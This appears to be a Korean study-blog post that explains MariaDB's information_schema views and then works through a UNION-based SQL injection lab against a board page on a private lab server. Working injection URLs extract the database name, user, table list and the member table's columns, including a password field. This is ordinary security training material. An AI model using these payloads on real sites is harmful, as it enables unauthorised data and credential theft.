########################
## information_schema ##
########################
information_schema
- DBMS(mariaDB)의 전체 정보를 가지고 있는 가상의 Database
- 다시 말해서 시스템상의 DB가 위치하는 실제 파일시스템상(/var/lib/mysql)에는 존재하지 않고 메모리에 존재한다.
- 리눅스에서 /proc 디렉터리라고 생각하면 된다.
information_schema : DBMS의 전체 정보를 가지고 있는 가상의 데이터베이스
information_schema.TABLES : DBMS의 전체 테이블에 대한 정보를 가지고 있는 테이블
- TABLE_SCHEMA : DBMS의 전체 데이터베이스가 저장된 컬럼
- TABLE_NAME : DBMS의 전체 테이블명이 저장된 컬럼
- TABLE_TYPE : DBMS의 테이블의 종류가 저장된 컬럼 (BASE TABLE)
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema | <--
| mysql |
| mywebsite |
| performance_schema |
| test |
+--------------------+
5 rows in set (0.00 sec)
MariaDB [(none)]> use information_schema
MariaDB [information_schema]> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS | <--
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| KEY_CACHES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES | <--
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| TRIGGERS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| INNODB_CMPMEM_RESET |
| INNODB_RSEG |
| INNODB_UNDO_LOGS |
| INNODB_CMPMEM |
| INNODB_SYS_TABLESTATS |
| INNODB_LOCK_WAITS |
| INNODB_INDEX_STATS |
| INNODB_CMP |
| INNODB_CMP_RESET |
| INNODB_CHANGED_PAGES |
| INNODB_BUFFER_POOL_PAGES |
| INNODB_TRX |
| INNODB_BUFFER_POOL_PAGES_INDEX |
| INNODB_LOCKS |
| INNODB_BUFFER_POOL_PAGES_BLOB |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_STATS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_INDEXES |
| XTRADB_ADMIN_COMMAND |
| INNODB_TABLE_STATS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_BUFFER_PAGE |
+---------------------------------------+
62 rows in set (0.00 sec)
MariaDB [information_schema]> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| COLUMN_NAME | varchar(64) | NO | | | |
| ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | |
| COLUMN_DEFAULT | longtext | YES | | NULL | |
| IS_NULLABLE | varchar(3) | NO | | | |
| DATA_TYPE | varchar(64) | NO | | | |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | |
| DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_SET_NAME | varchar(32) | YES | | NULL | |
| COLLATION_NAME | varchar(32) | YES | | NULL | |
| COLUMN_TYPE | longtext | NO | | NULL | |
| COLUMN_KEY | varchar(3) | NO | | | |
| EXTRA | varchar(27) | NO | | | |
| PRIVILEGES | varchar(80) | NO | | | |
| COLUMN_COMMENT | varchar(1024) | NO | | | |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)
TB : TABLES
Columns :
- TABLE_SCHEMA : DataBase 의 이름
- TABLE_NAME : Table 의 이름
- TABLE_TYPE : Table 의 종류이고 BASE TABLE이 사용자가 생성한 테이블이다.
MariaDB [information_schema]> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| TABLE_TYPE | varchar(64) | NO | | | |
| ENGINE | varchar(64) | YES | | NULL | |
| VERSION | bigint(21) unsigned | YES | | NULL | |
| ROW_FORMAT | varchar(10) | YES | | NULL | |
| TABLE_ROWS | bigint(21) unsigned | YES | | NULL | |
| AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_FREE | bigint(21) unsigned | YES | | NULL | |
| AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | |
| CREATE_TIME | datetime | YES | | NULL | |
| UPDATE_TIME | datetime | YES | | NULL | |
| CHECK_TIME | datetime | YES | | NULL | |
| TABLE_COLLATION | varchar(32) | YES | | NULL | |
| CHECKSUM | bigint(21) unsigned | YES | | NULL | |
| CREATE_OPTIONS | varchar(255) | YES | | NULL | |
| TABLE_COMMENT | varchar(2048) | NO | | | |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.01 sec)
MariaDB [information_schema]> select table_schema, table_name, table_type from tables;
+--------------------+----------------------------------------------+-------------+
| table_schema | table_name | table_type |
+--------------------+----------------------------------------------+-------------+
| information_schema | CHARACTER_SETS | SYSTEM VIEW |
| information_schema | CLIENT_STATISTICS | SYSTEM VIEW |
| information_schema | COLLATIONS | SYSTEM VIEW |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY | SYSTEM VIEW |
| information_schema | COLUMNS | SYSTEM VIEW |
| information_schema | COLUMN_PRIVILEGES | SYSTEM VIEW |
| information_schema | ENGINES | SYSTEM VIEW |
| information_schema | EVENTS | SYSTEM VIEW |
| information_schema | FILES | SYSTEM VIEW |
| information_schema | GLOBAL_STATUS | SYSTEM VIEW |
| information_schema | GLOBAL_VARIABLES | SYSTEM VIEW |
| information_schema | INDEX_STATISTICS | SYSTEM VIEW |
| information_schema | KEY_CACHES | SYSTEM VIEW |
| information_schema | KEY_COLUMN_USAGE | SYSTEM VIEW |
| information_schema | PARAMETERS | SYSTEM VIEW |
| information_schema | PARTITIONS | SYSTEM VIEW |
| information_schema | PLUGINS | SYSTEM VIEW |
| information_schema | PROCESSLIST | SYSTEM VIEW |
| information_schema | PROFILING | SYSTEM VIEW |
| information_schema | REFERENTIAL_CONSTRAINTS | SYSTEM VIEW |
| information_schema | ROUTINES | SYSTEM VIEW |
| information_schema | SCHEMATA | SYSTEM VIEW |
| information_schema | SCHEMA_PRIVILEGES | SYSTEM VIEW |
| information_schema | SESSION_STATUS | SYSTEM VIEW |
| information_schema | SESSION_VARIABLES | SYSTEM VIEW |
| information_schema | STATISTICS | SYSTEM VIEW |
| information_schema | TABLES | SYSTEM VIEW |
| information_schema | TABLESPACES | SYSTEM VIEW |
| information_schema | TABLE_CONSTRAINTS | SYSTEM VIEW |
| information_schema | TABLE_PRIVILEGES | SYSTEM VIEW |
| information_schema | TABLE_STATISTICS | SYSTEM VIEW |
| information_schema | TRIGGERS | SYSTEM VIEW |
| information_schema | USER_PRIVILEGES | SYSTEM VIEW |
| information_schema | USER_STATISTICS | SYSTEM VIEW |
| information_schema | VIEWS | SYSTEM VIEW |
| information_schema | INNODB_CMPMEM_RESET | SYSTEM VIEW |
| information_schema | INNODB_RSEG | SYSTEM VIEW |
| information_schema | INNODB_UNDO_LOGS | SYSTEM VIEW |
| information_schema | INNODB_CMPMEM | SYSTEM VIEW |
| information_schema | INNODB_SYS_TABLESTATS | SYSTEM VIEW |
| information_schema | INNODB_LOCK_WAITS | SYSTEM VIEW |
| information_schema | INNODB_INDEX_STATS | SYSTEM VIEW |
| information_schema | INNODB_CMP | SYSTEM VIEW |
| information_schema | INNODB_CMP_RESET | SYSTEM VIEW |
| information_schema | INNODB_CHANGED_PAGES | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_POOL_PAGES | SYSTEM VIEW |
| information_schema | INNODB_TRX | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_POOL_PAGES_INDEX | SYSTEM VIEW |
| information_schema | INNODB_LOCKS | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_POOL_PAGES_BLOB | SYSTEM VIEW |
| information_schema | INNODB_SYS_TABLES | SYSTEM VIEW |
| information_schema | INNODB_SYS_FIELDS | SYSTEM VIEW |
| information_schema | INNODB_SYS_COLUMNS | SYSTEM VIEW |
| information_schema | INNODB_SYS_STATS | SYSTEM VIEW |
| information_schema | INNODB_SYS_FOREIGN | SYSTEM VIEW |
| information_schema | INNODB_SYS_INDEXES | SYSTEM VIEW |
| information_schema | XTRADB_ADMIN_COMMAND | SYSTEM VIEW |
| information_schema | INNODB_TABLE_STATS | SYSTEM VIEW |
| information_schema | INNODB_SYS_FOREIGN_COLS | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_PAGE_LRU | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_POOL_STATS | SYSTEM VIEW |
| information_schema | INNODB_BUFFER_PAGE | SYSTEM VIEW |
| WebTest | board | BASE TABLE |
| WebTest | member | BASE TABLE |
| mysql | columns_priv | BASE TABLE |
| mysql | db | BASE TABLE |
| mysql | event | BASE TABLE |
| mysql | func | BASE TABLE |
| mysql | general_log | BASE TABLE |
| mysql | help_category | BASE TABLE |
| mysql | help_keyword | BASE TABLE |
| mysql | help_relation | BASE TABLE |
| mysql | help_topic | BASE TABLE |
| mysql | host | BASE TABLE |
| mysql | ndb_binlog_index | BASE TABLE |
| mysql | plugin | BASE TABLE |
| mysql | proc | BASE TABLE |
| mysql | procs_priv | BASE TABLE |
| mysql | proxies_priv | BASE TABLE |
| mysql | servers | BASE TABLE |
| mysql | slow_log | BASE TABLE |
| mysql | tables_priv | BASE TABLE |
| mysql | time_zone | BASE TABLE |
| mysql | time_zone_leap_second | BASE TABLE |
| mysql | time_zone_name | BASE TABLE |
| mysql | time_zone_transition | BASE TABLE |
| mysql | time_zone_transition_type | BASE TABLE |
| mysql | user | BASE TABLE |
| mywebsite | bbs1 | BASE TABLE |
| mywebsite | bbs2 | BASE TABLE |
| mywebsite | bbs3 | BASE TABLE |
| mywebsite | bbs4 | BASE TABLE |
| mywebsite | bbs5 | BASE TABLE |
| mywebsite | board | BASE TABLE |
| mywebsite | jumsu | BASE TABLE |
| mywebsite | member | BASE TABLE |
| performance_schema | cond_instances | BASE TABLE |
| performance_schema | events_waits_current | BASE TABLE |
| performance_schema | events_waits_history | BASE TABLE |
| performance_schema | events_waits_history_long | BASE TABLE |
| performance_schema | events_waits_summary_by_instance | BASE TABLE |
| performance_schema | events_waits_summary_by_thread_by_event_name | BASE TABLE |
| performance_schema | events_waits_summary_global_by_event_name | BASE TABLE |
| performance_schema | file_instances | BASE TABLE |
| performance_schema | file_summary_by_event_name | BASE TABLE |
| performance_schema | file_summary_by_instance | BASE TABLE |
| performance_schema | mutex_instances | BASE TABLE |
| performance_schema | performance_timers | BASE TABLE |
| performance_schema | rwlock_instances | BASE TABLE |
| performance_schema | setup_consumers | BASE TABLE |
| performance_schema | setup_instruments | BASE TABLE |
| performance_schema | setup_timers | BASE TABLE |
| performance_schema | threads | BASE TABLE |
+--------------------+----------------------------------------------+-------------+
113 rows in set (0.60 sec)
192.168.108.101 -> 192.168.20.101
http://192.168.20.101?id=bbs1 union select 1,2,3,4,5,6,7,8&m=list
2번,4번 출력
DataBase 추출
http://192.168.20.101?id=bbs1 union select 1,database(),3,user(),5,6,7,8&m=list
2번 : mywebsite
4번 : root@localhost
테이블 추출
http://192.168.20.101?id=bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES&m=list
SELECT * FROM bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES ORDER BY no DESC
mywebsite DB에 들어있는 테이블만 추출한다.
http://192.168.20.101?id=bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES where table_schema='mywebsite'&m=list
http://192.168.20.101?id=bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES#&m=list
변수 m이 주석에 의해서 인식이 안되므로 에러가 발생한다.
Notice: Undefined index: m in /var/www/html/index.html on line 66
http://192.168.20.101?m=list&id=bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES#
SELECT * FROM bbs1 union select 1,table_name,3,table_schema,5,6,7,8 from information_schema.TABLES ORDER BY no DESC
컬럼 획득하기
TB : COLUMNS
Columns :
- TABLE_SCHEMA : DB명
- TABLE_NAME : Table 명
- COLUMN_NAME : Column명
MariaDB [mywebsite]> desc information_schema.columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | | <-- DB명
| TABLE_NAME | varchar(64) | NO | | | | <-- Table명
| COLUMN_NAME | varchar(64) | NO | | | | <-- Column명
| ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | |
| COLUMN_DEFAULT | longtext | YES | | NULL | |
| IS_NULLABLE | varchar(3) | NO | | | |
| DATA_TYPE | varchar(64) | NO | | | |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | |
| DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_SET_NAME | varchar(32) | YES | | NULL | |
| COLLATION_NAME | varchar(32) | YES | | NULL | |
| COLUMN_TYPE | longtext | NO | | NULL | |
| COLUMN_KEY | varchar(3) | NO | | | |
| EXTRA | varchar(27) | NO | | | |
| PRIVILEGES | varchar(80) | NO | | | |
| COLUMN_COMMENT | varchar(1024) | NO | | | |
+--------------------------+---------------------+------+-----+---------+-------+
20 rows in set (0.00 sec)
select table_schema, table_name, column_name
from information_schema.columns
where table_name = 'member';
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| mywebsite | member | no |
| mywebsite | member | username |
| mywebsite | member | userid |
| mywebsite | member | userpass |
| mywebsite | member | useremail |
| mywebsite | member | ipaddr |
| mywebsite | member | date |
+--------------+------------+-------------+
7 rows in set (0.00 sec)
'Linux > SQL' 카테고리의 다른 글
| DB 백업하기 (0) | 2021.12.08 |
|---|---|
| DBMS 포트 리슨 방법 (0) | 2021.12.08 |
| 트리거 실습 (회원 탈퇴 테이블을 이용한 트리거 생성) (0) | 2021.12.08 |
| [DBMS] 저장 함수 실습 (0) | 2021.12.08 |
| [DBMS] 저장 프로시저 실습 (0) | 2021.12.08 |